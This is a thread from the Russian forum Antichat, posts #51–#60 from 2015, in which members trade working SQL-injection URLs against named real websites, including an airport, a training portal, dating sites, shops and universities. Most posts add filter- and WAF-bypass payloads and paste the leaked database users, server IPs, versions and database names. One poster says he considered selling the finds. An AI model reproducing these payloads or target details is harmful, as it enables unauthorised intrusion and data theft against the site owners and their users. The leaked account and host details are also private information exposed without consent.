HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #51  
Старый 01.09.2015, 18:27
WallHack
Постоянный
Регистрация: 18.07.2013
Сообщений: 300
С нами: 6747446

Репутация: 32
По умолчанию

Код:
http://toefilm.ru/view_post.php?id=-32%27+union+select+1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15+--+
 
Ответить с цитированием

  #52  
Старый 16.09.2015, 00:55
Га-Ноцри
Постоянный
Регистрация: 16.10.2011
Сообщений: 326
С нами: 7670486

Репутация: 76
По умолчанию

Аэропорт, вроде не самый маленький в этих ваших Европах. Присутствует фильтр обходится внедрением в любую часть %0B, например union -> uni%0Bin, information_schema.tables -> infor%0Bmation_schema.tables и далее по аналогии.

Тиц == 110, PR == 6, Alexa == 120,422

Код:
http://www.koeln-bonn-airport.de/index.php?id=147&L=0&q=1'or(extractvalue(rand(),concat(0x3a,(Sel%0BeCt(concat_ws(0x3a,version(),user()))))))='1
Онлайн бронь на авиабилеты и все что с этим связано. Вывод в сорсе

Тиц == 10, PR == 0, Alexa == 390,710

Код:
http://www.parkrideflyusa.com/booking-details?id=-31 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat_ws(0x03a,version(),database(),user())--
 
Ответить с цитированием

  #53  
Старый 20.09.2015, 05:11
ButilkaSoka
Новичок
Регистрация: 04.06.2015
Сообщений: 22
С нами: 5759606

Репутация: 0
По умолчанию

общего трафика много вроде , 2,7kk, субдомен pmi.org

Код:
http://learning.pmi.org/course-detail.php?id=-3582+union+select+all+1,concat(user(),0x3a,database(),0x3c62723e,version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+limit+0,1--
pmiprof@184.168.193.187: pmiprof

5.0.96-log


игры для консолей

Код:
https://www.playonrent.com/gameDetails.php?id=137 and (select 1 from(select count(*),concat((select user() from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Duplicate entry 'A883245_sidhant@173.83.247.2321' for key 'group_key'

5.1.69-community-log


WAF

Код:
http://www.e-wigs.com/wigs.php?id=-1773 UNION SELECT 1,2,3,4,5,concat(user(),0x3a,database(),0x3c62723e,version()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27  limit 0,1
Вот обоход

Код:
http://www.e-wigs.com/wigs.php?id=-1773/*!union*//*!12345%73%65%6c%65%63%74*/1,2,3,4,5,concat%28user%28%29%2C0x3a%2Cdatabase%28%29%2C0x3c62723e%2Cversion%28%29%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from information_schema.columns  where TABLE_schema=database%28%29 limit 0,1
dbo472536571@74.208.16.148:db472536571

5.1.73-log


Код:
http://www.fckhimki.ru/modules/players/index_d.php?current_id=15&player_id=-111+union+select+1,2,3,4,version(),6,7,8,9,10 --
5.0.90-log
 
Ответить с цитированием

  #54  
Старый 21.09.2015, 21:38
3nvY
Познающий
Регистрация: 08.06.2015
Сообщений: 50
С нами: 5753846

Репутация: 11
По умолчанию

Код:
http://www.season.ru/forum/profile.php?f=5&id=-1556%27+union+select+1,2,3,4,5,6,7,8,version%28%29,10,11,12,13,14--+
 
Ответить с цитированием

  #55  
Старый 22.09.2015, 19:02
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами: 9650336

Репутация: 662
По умолчанию

Код:
https://www.htw-dresden.de/index.php?id=9147&vid=239+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+--+
 
Ответить с цитированием

  #56  
Старый 08.10.2015, 11:14
st1x0
Новичок
Регистрация: 23.05.2015
Сообщений: 9
С нами: 5776886

Репутация: 1
По умолчанию

Была разминка, думал что сойдет для продажи но мелочи думаю... может кому полезно будет или трафферам.

Код:
ttp://torrent.tlt.ru/browse.php?cat=5
web server operating system: Linux Ubuntu
web application technology: PHP 5.3.2, Nginx
back-end DBMS: MySQL 5.0
available databases [2]:[*] information_schema[*] tracker
Код:
mega-torrent.ru/browse.php?cat=18
Warning: mysql_fetch_array() expects parameter 1 to be resource
Код:
http://www.guildvalhall.eu/inc-news.php?id=8429
web application technology: Apache
back-end DBMS: MySQL 5.0.12
available databases [2]:[*] information_schema[*] valhall
Инфы много.)
 
Ответить с цитированием

  #57  
Старый 11.10.2015, 09:19
WallHack
Постоянный
Регистрация: 18.07.2013
Сообщений: 300
С нами: 6747446

Репутация: 32
По умолчанию

Код:
http://xn--h1acbqf.xn--e1apq.xn--p1ai/view_dokum.php?id=-37%27+union+select+1,@@version,3,4,5,6,7,8,9,10+--+
 
Ответить с цитированием

  #58  
Старый 13.10.2015, 15:11
WallHack
Постоянный
Регистрация: 18.07.2013
Сообщений: 300
С нами: 6747446

Репутация: 32
По умолчанию

Зарубежный сайт знакомств

Код:
http://staynaughty.com/wall.php?uid=442%20and%20(select+1+from(select+count(*),concat(version(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
Сайт анонимных знакомств и раврата...

Код:
https://sexintime.at/wall.php?uid=101899%20%20and%20(select+1+from(select+count(*),concat(version(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
 
Ответить с цитированием

  #59  
Старый 17.10.2015, 20:47
ButilkaSoka
Новичок
Регистрация: 04.06.2015
Сообщений: 22
С нами: 5759606

Репутация: 0
По умолчанию

Вывод в заголовке, или в сорсе

Код:
http://www.uaces.org/events/calendar/event.php?id=1 /*!50000UnION*/ SELECT version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 --
5.5.42-cll

Спортивное снаряжение Twins

Вывод в заголовке, или в сорсе

Код:
http://www.twinsspecial.com/product-detail.php?id=-70' /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,version(),26,27,28,29 or ''='
twinsspe_twins@localhost

5.5.36-cll

twinsspe_twins

Шоп

Код:
http://www.patersonphotographic.com/category.php?categoryID=1 and extractvalue(null,concat(0x3a,(select concat_ws(0x3c62723e,user(),version()))))
plummo@localhost

5.1.73

plummo_shop

Код:
http://www.dfki.de/lt/card.php?id=-185 and 1=1 UNION SELECT 1,user(),version(),database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30  --
staff_user@lnv-101

4.0.21-Max

staff

Код:
http://www.ghasham.com/products-category.php?id=-6 /*!50000and 1=1*/ /*!50000uNIoN*/%09/*!50000seLEC%74*/%091,2,/*!50000unhex(hex(coNcat_ws(0x3a,user(),version(),database())))*/,4,5,6,7,8,9,10,11,12,13 --
ghashamo_user@localhost

5.5.42-37.1

ghashamo_db

Шоп

Код:
http://www.mcfarlandbooks.com/book-2.php?id=-978-0-7864-7807-1'+/*!50000UnIoN*/+all+/*!50000SeLeCt*/+1,2,/*!50000coNcat_ws(0x3c62723e,user(),version(),database())*/,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55+--+and '1'='1
mcbooks_dbuser@localhost

5.5.42-37.1

mcbooks_mainsite
 
Ответить с цитированием

  #60  
Старый 23.10.2015, 22:00
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами: 9650336

Репутация: 662
По умолчанию

Код:
http://www.industrie4-summit.de/soap/showProgramDetails.php?eventId=45&language=de&opener=/programm.html&id=27121+union+select+1,2,3,4,5,6,7,8,9,version(),11,12+from+information_schema.tables+--+
5.5.44-0+deb7u1-log
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.